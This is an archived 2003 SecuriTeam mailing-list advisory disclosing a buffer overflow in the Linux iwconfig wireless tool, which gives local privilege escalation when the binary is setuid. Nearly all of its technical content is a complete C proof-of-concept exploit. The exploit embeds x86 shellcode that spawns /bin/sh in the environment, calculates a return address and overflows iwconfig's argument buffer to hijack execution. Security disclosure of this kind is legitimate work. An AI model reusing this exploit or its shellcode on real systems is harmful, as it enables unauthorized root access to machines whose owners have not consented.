[EXPL] iwconfig Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 10/26/03

  • Next message: SecuriTeam: "[UNIX] Wu-FTPd SKEY Stack Overflow Vulnerability"
    To: list@securiteam.com
    Date: 26 Oct 2003 16:40:12 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      iwconfig Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html>
    iwconfig, a tool that allows you to configure a wireless network
    interface, contains an exploitable buffer overflow that allows local
    attackers to gain elevated privileges (if the iwconfig executable is
    setuid).

    DETAILS

    Exploit:
    /* PST_iwconfig
       /sbin/iwconfig proof of concept exploit
       coded by aXis@ph4nt0m.net
       Ph4nt0m Security Team
       http://www.ph4nt0m.net
       just for fun
    */

    #include<stdio.h>
    #include<string.h>
    #include<unistd.h>

    /* Copyright (c) Ramon de Carvalho Valle July 2003 */
    /* x86/linux shellcode */

    char shellcode[]= /* 24 bytes */
        "\x31\xc0" /* xorl %eax,%eax */
        "\x50" /* pushl %eax */
        "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
        "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
        "\x89\xe3" /* movl %esp,%ebx */
        "\x50" /* pushl %eax */
        "\x53" /* pushl %ebx */
        "\x89\xe1" /* movl %esp,%ecx */
        "\x99" /* cltd */
        "\xb0\x0b" /* movb $0x0b,%al */
        "\xcd\x80"; /* int $0x80 */

    int main(int argc,char **argv){
       char buf[96];
       unsigned long ret;
       int i;

       char *prog[]={"/sbin/iwconfig",buf,NULL};
       char *env[]={"HOME=/",shellcode,NULL};
       
       ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
       printf("use ret addr: 0x%x\n",ret);

       memset(buf,0x41,sizeof(buf));
       memcpy(&buf[92],&ret,4);
     
       execve(prog[0],prog,env);

      }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aXis@ph4nt0m.net> aXis.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Wu-FTPd SKEY Stack Overflow Vulnerability"

    Relevant Pages